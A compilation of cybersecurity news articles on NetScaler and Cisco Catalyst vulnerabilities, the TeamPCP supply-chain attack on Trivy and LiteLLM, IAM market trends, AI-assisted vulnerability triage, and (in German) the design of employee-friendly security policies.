A new critical vulnerability that is similar to the widely-exploited CitrixBleed and CitrixBleed2 holes should be patched in NetScaler devices immediately, say experts. The hole, CVE-2026-3055, is an out-of-bounds read vulnerability in customer-managed NetScaler ADC and NetScaler Gateway devices configured as SAML IDP for approving identity and authentication. It’s rated at 9.3 in severity on the CVSS scale, “The implications of leaving it unpatched are serious,” Ryan Emmons, staff security researcher at Rapid7, told CSO in an email, because the hole allows an unauthenticated remote attacker to leak potentially sensitive information from the appliance’s memory. “This vulnerability is one that threat actors and researchers alike are paying attention to,” he said. The vulnerability carries similar ramifications to 2023’s CitrixBleed and 2025’s CitrixBleed2 memory leak vulnerabilities, Emmons added. Then, unauthenticated attackers with no existing level of access were able to steal credentials from business-critical Citrix NetScaler systems exposed to the public internet. CitrixBleed2 enabled attackers to leak sensitive memory content by sending specially crafted HTTP requests to a vulnerable Citrix endpoint. When it was discovered last year, researchers at Imperva quickly saw threat actors trying to exploit the hole, detecting over 11.5 million attacks. One that was successful involved the China-based group known to researchers as Salt Typhoon, which, according to Darktrace, got past defenses at an unnamed European telecom provider by exploiting CitrixBleed2 and installed a backdoor. “We expect that’s also what exploitation of this vulnerability facilitates,” he said “Initial access. With so much to potentially gain, it’s overwhelmingly likely that threat actors are actively working on developing an exploit for CVE-2026-3055, and we believe that exploitation in the wild is imminent.” Affected are NetScaler ADC and NetScaler Gateway version 14.1 before 14.1-66.59; NetScaler ADC and NetScaler Gateway version 13.1 before 13.1-62.23; and NetScaler ADC FIPS and NDcPP before 13.1-37.262 In its notice to customers, Citrix “strongly urges affected customers” to install the relevant updated versions as soon as possible. In the same notice, Citrix alerted admins to CVE-2026-4368, a race condition leading to user session mixup, rated at 7.7 on the CVSS scale, that applies to NetScaler ADC and NetScaler Gateway 14.1-66.54 devices. Prime targets NetScaler ADCs are application delivery controllers that optimize the delivery of web and traditional applications through load balancing and traffic management, while NetScaler Gateways are VPN solutions. As categories, ADCs and VPNs are prime targets for threat actors because they are internet-facing. “Anything that organizations tend to heavily rely on and expose at the network edge makes for a juicy target in the eyes of attackers,” said Emmons. “That doesn’t mean these products are of poor quality, it just means that threat actors are spending a significant amount of time and energy finding and exploiting subtle flaws in them.” Citrix says in its advisory that CVE-2026-3055 was found through product security testing, he pointed out, “which means they’re taking a proactive approach to find these bugs before threat actors do. That’s a great thing to see. Citrix products are incredibly popular and widely used, and they are routinely exposed to the public internet, so it’s of the utmost importance that the vendor is prioritizing security in this manner.” Emmons said the best things defenders can do to protect ADCs and VPNs are to reduce their exposed attack surface, ensure vulnerability intelligence is available and effectively distributed, and prioritize patching the systems that matter most. “Systems that don’t need to be exposed to the internet shouldn’t be,” he said. “Reducing public-facing attack surface is key, where possible. When that’s already in place, it’s vital to have early and accurate intelligence on vulnerabilities affecting products the organization relies on. A focus should be placed on ensuring important security advisories are highly visible to defending teams on the day of publication for triage.” View the full article

Cisco’s widely deployed Catalyst 9300 Series enterprise switches have four security vulnerabilities, two of which could be chained to cause a denial-of-service outage, infrastructure security company Opswat has revealed. The two most operationally significant are CVE-2026-20114 and CVE-2026-20110, which the researchers found could be chained to make possible a dangerous privilege escalation. Opswat’s Unit 515 Critical Infrastructure Protection (CIP) Lab discovered them and reported them to Cisco last July. The first weakness was in the Catalyst WebUI Lobby Ambassador account, which exists to allow non-technical staff with no admin privileges to administer guest Wi-Fi access. This turned out to have a command injection vulnerability (CVE-2026-20114) which allowed the researchers to create a MAC-based account with a slightly higher privilege level. With this access, they then discovered a second and more serious vulnerability caused by insufficient sanitization (CVE-2026-20110) which allowed them to reach a high enough privilege level to put Catalyst 9300 switches into ‘maintenance mode,’ at which point they would stop passing traffic. “This vulnerability chain allows a low privileged user to escalate their capabilities and ultimately trigger a full denial of service condition on the Cisco device,” Opswat said in a proof-of-concept video. Opswat also discovered two other Catalyst 9300 vulnerabilities: CVE-2026-20112 (cross-site scripting) and CVE-2026-20113 (CRLF injection). These relate to the IOS XE IOx integration environment which enables cloud edge computing features on Catalyst switches. The first of these, CVE-2026-20112, could be exploited by an “authenticated user [who] could store malicious JavaScript payloads that would later execute in the context of another user’s session,” said Opswat in its full vulnerability analysis. The second, CVE-2026-20113, would allow an attacker to cover their tracks for any exploit on IOS XE IOx: “By injecting crafted control characters, an attacker can forge or manipulate log entries, potentially obscuring malicious activity and compromising the integrity of audit records,” said Opswat, adding that this weakens the reliability of logging mechanisms critical for monitoring, incident response, and forensic analysis. Patching priority To make headway, an attacker would need to chain the first two vulnerabilities, CVE-2026-20114 and CVE-2026-20110, the first of which would require authentication using stolen credentials. This slightly raises the bar to any compromise, although stealing credentials for low-privilege user accounts is not a major barrier for an attacker. However, the fact that an attacker can elevate privileges from a basic Lobby Ambassador account to put a switch into a denial-of-service state underlines the risk this vulnerability poses. A short-term mitigation for this would be to make sure MFA security is turned on for all user accounts accessing the Lobby Ambassador feature. According to Opswat, it took from last July until this month to patch the flaws because of Cisco’s twice-yearly patching cycle. “Since we reported these issues in August 2025, there was not enough time for Cisco to complete the investigation, remediation, and advisory process in time for the September cycle. As a result, publication moved to the next advisory window in March 2026,” pen testing team leader Loc Nguyen said. “To the best of our knowledge, there is no evidence that these vulnerabilities were exploited by third parties,” he added. Vulnerable products and fixes Cisco has addressed all four CVEs in its March 25 semiannual Cisco IOS and IOS XE Software Security Advisory. Although none of the individual CVSS scores are high (ranging from 4.8 for CVE-2026-20112 to 6.5 for CVE-2026-20110) the danger is amplified by the way the first two can be chained. Cisco’s Software Checker tool can be used to determine whether a switch is vulnerable by entering the software/firmware version currently in use. No workarounds are possible for CVE-2026-20114, CVE-2026-20112, or CVE-2026-20113. The highest-rated flaw, CVE-2026-20110, can be mitigated by setting the privilege level of the ‘start maintenance’ command manually from the command line interface, Cisco said. In February, Cisco made public a different series of vulnerabilities affecting the Catalyst SD-WAN Manager, CVE-2026-20122, CVE-2026-20126, and CVE-2026-20128. These allowed an attacker to elevate themselves to root and were assigned a CVSS score of 9.8 (‘critical’) with no workarounds possible. That same month Cisco also patched a vulnerability in its Catalyst SD-WAN Controller, CVE-2026-20127. This article first appeared on Network World. View the full article

What started as a supply chain attack on Trivy, a widely used security scanner, has become a Lapsus$-linked extortion campaign, with more than 1,000 enterprise SaaS environments already compromised. Charles Carmakal, CTO of Mandiant Consulting, made the assessment at a Google-hosted threat briefing held alongside the RSA Conference 2026 in San Francisco on Tuesday. “We know of over 1,000 impacted SaaS environments right now that are actively dealing with this particular threat campaign,” he said at the event, reported CyberScoop. “That thousand-plus downstream victims will probably expand into another 500, another 1,000, maybe another 10,000.” He, according to the report, warned that widespread breach disclosures and follow-on attacks would play out over the coming months. The criminal collaboration behind the attack has also widened. Where the initial breach was attributed to a cloud-native threat group called TeamPCP, Mandiant’s response work has revealed that those actors are now channeling stolen access to broader criminal networks with Lapsus$, a group known for high-profile and aggressive extortion, among confirmed collaborators, the report added. Katie Paxton-Fear, staff security advocate at cybersecurity firm Semgrep, warned the group may already be positioned for further strikes. “The attackers may be sitting on many more compromises across the open-source ecosystem, waiting for guards to go down before launching the next,” she said. Cloud security company Wiz and supply chain security firm Socket have also documented that expansion across multiple fronts. Widening blast radius Wiz, in its technical analysis of the attack, found that attackers extended their reach to LiteLLM, a widely used AI middleware library embedded across a significant portion of cloud environments, using credentials stolen during the initial Trivy breach. Socket, meanwhile, identified a self-replicating worm dubbed CanisterWorm that leveraged stolen npm publish tokens from the same breach to backdoor more than 29 packages across the npm ecosystem. The attackers have also publicly stated their intent to target additional open-source projects, with Socket reporting messages posted by the group on Telegram taunting the security industry and signaling plans to expand the campaign. Paxton-Fear noted that the timing of the escalation appeared calculated. “The attackers first gained access to LiteLLM during their attack last week on Trivy, but they didn’t rush to attack while defenders were already on high alert,” she said. “Instead, they sat on their access, waiting until defenders were busy with a major security conference.” Socket’s threat research team also identified further compromised Trivy artifacts on Docker Hub over the weekend — versions 0.69.5 and 0.69.6 — published without corresponding GitHub releases and carrying the same infostealer payload. Even after removal, Socket found cached copies continued to circulate through the mirror infrastructure, including mirror.gcr.io. The firm also found that the attackers had defaced Aqua Security’s GitHub organization, renaming all 44 repositories with descriptions reading “TeamPCP Owns Aqua Security,” based on archived snapshots it analyzed. “The presence of these repositories indicates a deeper level of control over the GitHub organization during the compromise,” Socket wrote in the analysis. A pattern of persistent access This is the second compromise affecting the Trivy ecosystem within roughly a month. Socket identified compromised Aqua Trivy VS Code extension releases on OpenVSX in late February, and now trivy-action, Trivy’s official GitHub Action for running scans in CI/CD workflows, has been abused through manipulated version tags to distribute malicious code across pipelines. “Repeated compromises of the same vendor in a short period suggest a persistent weakness,” said Cory Michal, CSO of SaaS security management company AppOmni. He said the method reflects a broader pattern. Rather than targeting victims individually, attackers compromised the organization behind a trusted supply-chain component and used its GitHub repository and mutable version tags to reach downstream users at scale. “Many organizations still allow build systems and developers to automatically pull in third-party code from the internet with limited review and too much implicit trust,” Michal said. “Convenience and speed in modern software delivery have outpaced governance.” Isaac Evans, founder and CEO of Semgrep, said the incident shows how easily broken pipeline trust can be re-exploited. “Defenders need to adopt the same mindset as attackers — continuously probing their own surface and verifying the integrity of their pipelines, rather than relying on static controls or assumed trust,” he said. As the fallout continues to unfold, Aqua Security and Mandiant are still working to fully contain the damage. Where things stand In a Tuesday update, Aqua Security said it has engaged incident response firm Sygnia. Credential revocation and rotation across all environments remains ongoing. The company maintained that its commercial products are architecturally isolated from the compromised open-source environment and remain unaffected. According to CyberScoop, Mandiant said it has not yet determined how the original credentials were first stolen, and believes the initial theft likely occurred outside the direct victim’s environment, possibly through a business process outsourcer or partner organization. For AppOmni’s Michal, the incident is a warning that the industry’s approach to third-party code needs to fundamentally change. “Organizations need stronger controls around what external code they allow, how it is approved, how it is pinned, and how changes are monitored before that code is trusted inside production or SaaS-connected environments,” he said. View the full article

PyPI is warning of possible credential theft from AI applications and developer pipelines after two malicious versions of the widely used Python middleware for large language models, LiteLLM, were briefly published. “Anyone who has installed and run the project should assume any credentials available to the LiteLLM environment may have been exposed, and revoke/rotate them accordingly,” PyPI said in an advisory that linked the incident to an exploited Trivy dependency from the ongoing TeamPCP supply-chain attack. According to a Sonatype analysis, the packages embedded a multi-stage payload designed to harvest sensitive data from developer environments, CI/CD pipelines, and cloud configurations, and were live on PyPI for roughly two hours before being taken down. “Given the package’s three million daily downloads, the compromised LiteLLM could have seen significant exposure during that short time span,” Sonatype researchers said in a blog post. On top of serving as a stealer, the packages were also acting as droppers, enabling follow-on payloads and deeper system compromise. Three-stage payload built for maximum reach The compromise affected versions 1.82.7 and 1.82.8. Sonatype’s analysis noted the payload operating in three distinct stages. These included initial execution and data exfiltration, deeper reconnaissance and credential harvesting, and finally persistence with remote control capabilities. The attack chain relied heavily on obfuscation, with base64-encoded Python code covering up the payload’s tracks. Once executed, the malware collected sensitive data, encrypted it using AES-256-CBC, and then secured the encryption key with an embedded RSA public key before sending everything to attacker-controlled servers. The disclosure highlighted a common approach that attackers follow these days. Instead of going off immediately after installation, the malware quietly lingers to map the environment and establish a foothold, before pulling credentials from local machines, cloud configs, and automation pipelines. “It (payload) targets environment variables (including API keys and tokens), SSH Keys, cloud credentials (AWS, GCP, Azure), Kubernetes configs, CI/CD secrets, Docker configs, database credentials, and even cryptocurrency wallets,” said Wiz researchers, who are separately tracking the campaign, in a blog post. “Our data shows that LiteLLM is present in 36% of cloud environments, signifying the potential for widespread impact.” Wiz also provided a way for its customers to check their environment for exposure via the Wiz Threat Center. An expanding supply-chain campaign The LiteLLM incident has been confirmed to be a part of the rapidly unfolding TeamPCP supply chain campaign that first compromised Trivy. Trivy, developed by Aqua Security, is a widely used open-source vulnerability scanner designed to identify security issues in container images, file systems, and infrastructure-as-code (IaC) configurations. The ongoing attack, attributed to TeamPCP with reported links to LAPSUS$, involved attackers compromising publishing credentials and injecting credential-stealing code into official releases and GitHub Actions used in CI/CD pipelines. The Trivy compromise was quickly followed by similar supply chain incidents, with attackers leveraging the same access and tactics to target other developer security tools like KICS and Checkmarx, extending the campaign’s reach across multiple CI/CD ecosystems. PyPI advisory tied the LiteLLM incident directly to the Trivy compromise. The malicious packages were uploaded “after an API Token exposure from an exploited Trivy dependency,” it said. Ben Read, a lead researcher at Wiz, calls it a systematic campaign that needs to be monitored for further expansion. “We are seeing a dangerous convergence between supply chain attackers and high-profile extortion groups like LAPSUS$,” he said. “By moving horizontally across the ecosystem – hitting tools like liteLLM that are present in over a third of cloud environments – they are creating a snowball effect.” PyPI has advised users to rotate any secrets accessible to the affected LiteLLM environment, as researchers confirm active data exfiltration and potential exposure across cloud environments tied to the ongoing campaign. View the full article

The identity and access management (IAM) market has shifted its focus from traditional “login and MFA” mechanisms toward treating identity as a security control plane. Buyers are prioritizing phishing-resistant authentication, including passkeys, and the management of non-human identities, according to an array of experts quizzed on developments in the market by CSO. “Workforce access is still the anchor, but more programs now pull in governance, privileged access, and controls for non-human identities because those gaps are where attackers and auditors keep finding leverage,” says Dave Lewis, global advisory CISO at password management tools vendor 1Password. While the overall European cybersecurity market grew by 7.5% in 2025, IAM surged by 10.8%, according to industry analysts Context. As of January 2026, the market has accelerated even further, showing a 24% year-over-year (YoY) increase in the first month alone. Joe Turner, global director of research and business development at Context, says the market growth reflects how “securing the user” has become a spending priority in many enterprise security programs. Agentic AI shakes up IAM’s future The increased need to manage non-human identities — machine identities, AI agents, secrets — is one vector shaping the evolution of IAM, as both a technology and a market. “Non-human identities — service accounts, API keys, AI agents, and IoT devices — are rising significantly, and in most enterprises they already outnumber human users by around three to one,” says Paul Hanagan, CTO of Conscia UK, a provider of secure and complex digital infrastructures. The IT industry is moving past the introduction of AI technologies toward agentic AI, where autonomous agents act on behalf of users with increasing autonomy. This transformation requires a rethink in how security controls manage identities and access to resources. “The volume and independence of these [AI] entities demands careful monitoring, with least-privilege enforcement and secret keys rotated regularly to ensure non-human identities are secure,” Hanagan says. “Hackers are increasingly targeting non-human identities to gain access, so these services must be secured with the same rigor as human accounts.” AI should play a big role in behavior analytics, entitlement management, and configuration management by helping to build an identity fabric that bridges security and governance. “To work effectively, AI agents will need continuous access to all sorts of data, which will lead to rapid behavioral changes,” says Jon Oltsik, analyst in residence at SiliconAngle and theCUBE. “We’ll need policies and guardrails here.” Passwordless authentication on the rise Passwords have long been the weakest link in most security architectures. Many mobile phones and laptops already use biometrics for authentication, and the user experience is typically far better than typing a long and complex password into an interface. The growing uptake of passwordless authentication (FIDO2/passkeys, biometrics) is redefining the scope of many IAM projects. “Many enterprises are still in the early stages of deploying passkeys and FIDO2, and biometrics are often deployed as part of a broader MFA strategy, where hardware costs and management overhead remain barriers to widespread adoption,” says Conscia’s Hanagan. Regulations shake up IAM architectures The regulatory environment has evolved from a tick-box exercise in compliance toward governance and continuous testing to demonstrate corporate adherence to regulations. That shift, according to Conscia’s Hanagan, is actively reshaping how organizations architect their IAM programs. “There is a significant amount of regulatory work under way,” he says. “GDPR, NIS2, DORA, PCI DSS 4.0, and sector-specific frameworks all focus on who accesses what, when, and why.” Hanagan adds: “The EU often takes a different approach to the UK — eIDAS 2.0, for example, is driving digital identity wallet adoption across Europe — which makes compliance particularly difficult for multinational enterprises spanning multiple regions.” Sovereign IAM and eIDAS 2.0 decentralize identity With the introduction of the European Digital Identity (EUDI) Wallet, companies are looking at decentralized identity architectures. “Instead of storing user data, European firms are becoming ‘relying parties,’ verifying identities through cryptographic proof via government-backed digital wallets to reduce PII [personally identifiable information] liability and comply with the EU Data Act, particularly regarding data minimization,” Context’s Turner says. Managed IAM services make their pitch Issues such as the cybersecurity workforce gap and the technical complexity of IAM in the modern enterprise are impacting both CISOs’ identity and access strategies and the direction of the IAM market. “Most organizations are running hybrid estates alongside SaaS sprawl, and the identity surface is fragmented across multiple directories, legacy apps, and inconsistent entitlement models,” 1Password’s Lewis says. To bridge the challenges posed by this complexity in the face of talent shortages, many organizations are turning to managed IAM services, according to Conscia’s Hanagan. “Modern IAM solutions are complex to set up and require deep knowledge and expertise,” he says. “When this is coupled with the fear that AI may displace roles — which discourages new entrants into the profession — and tightening regulation, it takes its toll on why modern IAM projects struggle to progress at pace.” The IAM industry consolidates The IAM market is going through a period of consolidation as vendors vie to build the most comprehensive platforms while tackling the problem of managing machine identities and AI agents. Notable IAM M&A activity over recent months include: Last July, Palo Alto Networks acquired privileged access management firm CyberArk for $25 billion. Delinea announced plans to acquire universal access management firm StrongDM in March. StrongDM provides “just-in-time” access for DevOps and AI agents, moving Delinea from offering static password management to offering a platform for dynamic, runtime authorization. Financial terms of the deal were not disclosed. CrowdStrike has announced deals to acquire identity security startup SGNL for $740 million and browser security startup Seraphic Security for $420 million in January 2026. SGNL provides the ability to grant access based on real-time context (e.g., “Allow this dev to see the database only while they have an active Jira ticket.”) Zscaler snapped up SquareX in February 2026, allowing it to acquire browser security technology that can detect identity-based attacks on unmanaged devices. Sophos is buying Arco Cyber in a deal focused on bringing AI-powered governance to the midmarket. “It [the deal] targets those 50- to 500-seat companies that lack a full-time CISO but need to meet the new UK Cyber Security Bill requirements,” Context’s Turner says. See also: How cybersecurity leaders can defend against the spur of AI-driven NHI Agentic AI already hinting at cybersecurity’s pending identity crisis Your passwordless future may never fully arrive What are non-human identities and why do they matter? Always-on privileged access is pervasive — and fraught with risks Redefining multifactor authentication: Why we need passkeys View the full article

Traditionally, enterprise security operating models operated a fixed and regular cycle: Findings surfaced through periodic scans, security teams triaged results and remediation followed through ticket-based workflows. It was almost an SOP of sorts; the accountability existed, but it was often implicit and fragmented. The remediation would travel across tools, teams and handoffs rather than designed into the system itself. The result? Your product was already live, your security teams had raised the alarms and moved on to identifying risk with the next big thing, but the remediation kept falling behind and your incident response teams kept getting busy with MSIs. That model held together largely because the speed of decision-making for remediation was traded off at times in favor of fail-fast, disrupt-fast innovation. A structure of coverage using just manual reviews scoped to the code being promised as being shipped, periodic scanner report triages and delayed prioritization were sufficient when software delivery moved at a measured pace. AI-native product development has fundamentally altered that equilibrium. Adopting LLM-based AI-assisted security triage helps accelerate how teams detect, triage and prioritize those vulnerability findings and thus eliminates the delay between identifying issues and making decisions. Findings no longer arrive as a bunch of scan outputs waiting in a queue for someone to be picked up and triaged without any metadata. They arrive with context: Exploitability indicators (both external and specific to your app/platform), ownership metadata and business-impact signals. This shift does more than just increase the speed of triage. It forces teams to rethink who owns vulnerabilities, who decides what gets fixed and how quickly those decisions happen. Existing operating models can’t keep up—they weren’t built to handle findings that arrive fully contextualized and demand immediate action. Accountability was implicit until AI made it visible Traditional vulnerability management relied heavily on abstraction. Scanners fed findings into dashboards, which produced tickets that accumulated in backlogs. Teams treated the workflow itself as assigning ownership, but nobody explicitly named the responsible team or role upfront. In practice, this created confusion. When a vulnerable dependency showed up across multiple services, or when severity changed based on new intelligence, figuring out “who owns this?” became a procedural exercise rather than something the system just knew. AI-driven platforms change that dynamic. By correlating findings across the full lifecycle, from discovery through remediation, they surface ownership at detection time. When a vulnerability gets mapped directly to a repository, pipeline and responsible team, accountability stops being a matter of ticket routing. It becomes baked into the system architecture. What was once a coordination problem becomes a governance question: If ownership is now clear the moment something is detected, who is accountable for acting on it? AI triage redefines the security team’s role As AI systems increasingly triage vulnerabilities with high confidence, security teams face a subtle but consequential shift in responsibility. People no longer debate whether AI can reduce noise. It demonstrably can. The harder question is which responsibilities remain with security teams once triage is automated. Are they accountable for handling individual findings, ensuring model accuracy or governing the decision system itself? In practice, effective programs are settling into a hybrid model. Let AI triage routine alerts and flag high-risk items. Have analysts investigate unusual signals, tune the decision rules and approve exceptions. Metrics shift accordingly. Instead of counting defects, teams now track false positive rates, confidence in coverage and how model performance changes over time. This transition alters how security expertise gets used. Teams spend less time on manual triage and more time ensuring the quality of decisions the system makes. Why “human-in-the-loop” still matters at scale Fully autonomous security testing is often framed as an end goal, but in practice, it introduces new accountability gaps. When systems make decisions without defined human checkpoints, responsibility becomes diffuse, especially when those decisions affect production environments. Some of the most effective AI-driven security programs intentionally maintain human decision points. Not as bottlenecks, but as accountability checkpoints. Automation accelerates detection and enrichment. Humans retain authority over high-stakes outcomes. A useful parallel exists in broader AI safety research. Google’s “Big Sleep” project, for example, proved AI can identify exploitable vulnerabilities before attackers do. But it still needed human supervision to validate findings and take appropriate actions. In enterprise security, the same principle applies. Automation scales insight. Humans’ own consequence. AI features introduce a new ownership boundary As organizations add generative AI into products, a new class of security questions emerges. Prompt injection, training data leakage and model manipulation don’t fit existing security categories. This creates a new ownership boundary. Product security teams must now partner closely with AI and ML engineering teams. Decide who will own code security, model behavior and misuse prevention. Treating AI features as first-class risk surfaces, rather than extensions of existing ones, forces clarity. Assign clear owners now, so these risks are identified before they become incidents or audit findings. AI does not just accelerate security workflows. It exposes where accountability, ownership and decision-making were never clearly defined in the first place. Organizations that treat AI as a force multiplier without redesigning their operating models may move faster, but not necessarily safer. The teams that succeed will be the ones that redesign for explicit ownership, governed decisions and human accountability at the points where consequences matter most. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

earthphotostock – shutterstock.com In vielen Unternehmen stoßen IT-Sicherheitsrichtlinien auf Widerstand, da Mitarbeitende sie als hinderlich oder praxisfern empfinden. Dies erschwert die Umsetzung, untergräbt die Wirksamkeit und belastet die Zusammenarbeit zwischen der Sicherheitsabteilung und den Fachbereichen. Statt als Partner wird Cybersecurity oft als Bremser wahrgenommen – ein fatales Sicherheitsrisiko. Für CISOs (Chief Security Information Officer) bedeutet das, dass neben technisch korrekten Richtlinien vor allem die Akzeptanz im Alltag entscheidend ist. Ein neuer Ansatz mit empathischem Policy-Engineering und strategischer Sicherheitskommunikation fördert eine nachhaltige Sicherheitskultur. IT-Sicherheit: Arbeitsdruck und soziale Einflussfaktoren In vielen IT-Abteilungen herrscht die Ansicht, dass Anwender wenig motiviert sind, Sicherheitsvorgaben einzuhalten. Unternehmen setzen auf Sanktionen und Schulungen, um regelkonformes Verhalten zu erzwingen. Ein zwei-tägiges Experiment, das untersucht, wie sich Sicherheitsdesigns auf richtlinienkonformes Nutzerverhalten auswirken, zeigte jedoch: Hatten Teilnehmende anfänglich noch eine positive Einstellung gegenüber Sicherheitsrichtlinien, wurden diese unter steigendem Arbeitsdruck zunehmend als hinderlich empfunden, was vermehrt zu Regelverstößen führte. Stress und situative Faktoren hatten einen spürbaren Einfluss auf das sicherheitsrelevante Verhalten der Teilnehmenden. Sicheres Verhalten entsteht also nicht allein durch Wissensvermittlung, sondern hängt stark von der individuelle Risikoeinschätzung und den konkreten Alltagssituationen ab. Nutzer handeln nicht immer so, wie es die Richtlinien vorsehen. Oft nicht aus Unwillen, sondern weil andere Faktoren überwiegen oder als wichtiger eingeschätzt werden. Ambitionierte Ziele, Zeitdruck und das Bedürfnis nach reibungsloser Zusammenarbeit stehen häufig im Widerspruch zu abstrakten Sicherheitsvorgaben. Diese Interessenkonflikte führen schnell zu Spannungen zwischen Security, IT und den anderen Fachbereichen. Das gefährdet letztlich die Sicherheitskultur. Sicherheitsverantwortliche können an drei Punkten ansetzen, um dem entgegenzuwirken. 1. Die Anwender verstehen CISOs sollten sich zunächst die Frage stellen, warum sich Nutzer nicht sicher verhalten. Eine Vielzahl von Faktoren spielen hier eine Rolle: Beispielsweise sind sich Anwender der Bedrohung nicht bewusst, sehen den Nutzen von sicherem Verhalten nicht oder empfinden Sicherheitsmaßnahmen als hinderlich für ihre Arbeit. Eventuell besteht auch ein Interessenkonflikt mit den Zielen der Nutzer oder sie stehen unter Zeitdruck. Oft fehlen schlicht die Mittel – beispielsweise, wenn Vorschriften einen sicheren Datenaustausch mit Zulieferern und Kunden fordern, aber den Mitarbeitenden keine Plattform für einen solchen Datenaustausch zur Verfügung gestellt wird – oder auch Vorbilder im Umfeld. Vor der Implementierung von Sicherheitsmaßnahmen ist es wichtig, widersprüchliche Ziele und Prioritäten der verschiedenen Interessensgruppen (IT-Abteilung, technische Abteilungen, Management, Verwaltung, Mitarbeitende in der Produktion) zu identifizieren und auszugleichen. Dies ist beispielsweise im Rahmen einer Stakeholder-Analyse möglich – einer Methode aus der Wirtschaftsinformatik, um die Präferenzen aller beteiligten Stakeholder zu erheben. Je mehr Sicherheitsverantwortliche über die Arbeitswirklichkeit und die Ziele der verschiedenen Bereiche wissen, desto besser gelingt es ihnen, Sicherheitsmaßnahmen dazu passend zu gestalten – was zu mehr Akzeptanz und am Ende einer erfolgreichen Umsetzung führt. 2. Sicherheitsrichtlinien mit Blick auf den Anwender gestalten Unsicheres Verhalten wird häufig den Nutzern angelastet, dabei liegt das Problem oft in der Maßnahme selbst. In der IT-Sicherheitsforschung liegt der Fokus häufig auf dem individuellen Verhalten der Nutzer – beispielsweise auf der Frage, ob sicheres Verhalten von Persönlichkeitsmerkmalen abhängt. Vernachlässigt wird dabei die Frage, wie gut Sicherheitsmaßnahmen überhaupt zur Arbeitsrealität passen – sprich, wie wahrscheinlich es ist, dass sie im Alltag akzeptiert werden. Für jede Bedrohung gibt es meist mehrere verfügbare Sicherheitsmaßnahmen. Doch Unterschiede in Aufwand, Akzeptanz, Kompatibilität oder Komplexität werden in der Praxis oft nicht berücksichtigt. Stattdessen treffen Sicherheits- oder IT-Abteilungen Entscheidungen häufig ausschließlich auf Grundlage technischer Aspekte. Um wirksame IT-Sicherheitsrichtlinien zu etablieren, müssen diese nicht nur technisch korrekt sein – sie müssen auch aus Mitarbeitersicht sinnvoll und praktikabel sein. Der Schlüssel dazu liegt im empathischen Policy Engineering: Sicherheitsvorgaben sollten so gestaltet sein, dass sie verständlich sind, akzeptiert werden und mit den alltäglichen Arbeitszielen vereinbar sind. Das gelingt am besten, wenn Mitarbeitende frühzeitig in die Entwicklung eingebunden werden – inklusive ihrer Zielkonflikte und praktischen Herausforderungen. Ein anschließender Pilotversuch hilft dabei, potenzielle Stolpersteine und Hindernisse frühzeitig zu erkennen und die Maßnahmen entsprechend nach zu justieren. Es hat sich bewährt, dabei mit den “Early Adopters” zu starten – also der Gruppe an Anwendern, die Neuerungen gegenüber aufgeschlossen ist und im Anschluss konstruktives Feedback geben kann. Dieses sollte vor dem großen Roll-out berücksichtig werden. So kann eine Sicherheitskultur entstehen, die wirkt – und im Alltag tatsächlich gelebt wird. 3. Sinnvoll kommunizieren: Der RESPECT-Ansatz Aktuell werden Sicherheitsmaßnahmen und -richtlinien häufig in einer Art und Weise kommuniziert, die Anwender nicht in ihrer Arbeitsrealität abholen, weil sie gar nicht darauf abzielen, dass Mitarbeitende sich damit beschäftigen und motiviert werden: Etwa über Anweisungen, Standard-Online-Trainings oder zu verspielte Formate wie Comics, die Mitarbeitende nicht ernst nehmen. Besser funktioniert das mit dem RESPECT-Ansatz: Er setzt auf Kommunikation auf Augenhöhe, statt auf Verbote und Strafen. Der entscheidende Unterschied: Mitarbeitende werden als kompetente, verantwortungsvolle Erwachsene behandelt. Im Zentrum steht ein empathischer Blick auf ihre Bedürfnisse und Arbeitsrealitäten – ohne die Sicherheitsziele aus den Augen zu verlieren. Es gibt mehrere Techniken, um die Kommunikation von Sicherheitsrichtlinien erfolgreich zu gestalten und Konflikte zu vermeiden: Taktische Empathie: Diese schafft Anerkennung, stärkt Vertrauen und sorgt so dafür, dass sich Mitarbeitende gehört fühlen und bereit sind, sicherheitsrelevante Informationen anzunehmen. „Help me to help you“ anstelle von „Nein“: Statt Sicherheitsvorgeben durchzusetzen, können CISOs mit gezielten „Wie“-Fragen Anwender dazu anregen, über die vorgeschlagenen Lösungen nachzudenken. Wenn Anwender Änderungswünsche zu den Sicherheitsvorgaben haben, sollte die Security nicht einfach nur ‘Nein’ sagen. Eine Rückfrage dazu, was die Mitarbeitenden selbst vorschlagen, um sowohl die Sicherheitsvorgaben einzuhalten als auch effizientes Arbeiten zu ermöglichen, ist sinnvoll. So entsteht ein Dialog und es ist leichter, einen für alle Beteiligten tragbaren Kompromiss zu finden. Praxiserfahrung statt grauer Theorie: Ein Trainingskonzept, das auf direkte Erfahrung setzt, konfrontiert Teilnehmende mit realistischen Szenarien – etwa Cyberangriffe wie Phishing, Ransomware oder USB-Angriffe. Sie erleben hautnah in einer realitätsnahen Umgebung, die typische Arbeitsplätze in kleinen und mittleren Unternehmen abbildet, wie Cyberangriffe ablaufen. So entsteht ein tiefes, nachhaltiges Verständnis für IT-Sicherheit. Statt Belehrungen stehen der Mensch und das Erleben im Mittelpunkt. Fazit: CISOs als Gestalter wirksamer Sicherheitskultur Der geringe Erfolg vieler Sicherheitsmaßnahmen liegt nicht allein an den Nutzenden – oft sind es unrealistische Vorgaben, fehlende Einbindung und unzureichende Kommunikation. Für Sicherheitschefs bedeutet das: Statt auf Erziehung und Sanktionen zu setzen, braucht es einen strategischen Paradigmenwechsel. Sie sollten zu einer Art Emphatic Policy Architekt werden, dessen Sicherheitsstrategie nicht nur technisch funktioniert, sondern auch menschlich überzeugt. Er gestaltet Rahmenbedingungen, in denen sich sichere Entscheidungen selbstverständlich in den Arbeitsalltag einfügen. Dafür braucht es ein gutes Gespür für Zielkonflikte, Kommunikation auf Augenhöhe – und die Fähigkeit, Sicherheit als gemeinsamen Wert im Unternehmen zu verankern. (jm) Lesetipp: So erfüllen Sie Ihre Compliance-Anforderungen View the full article

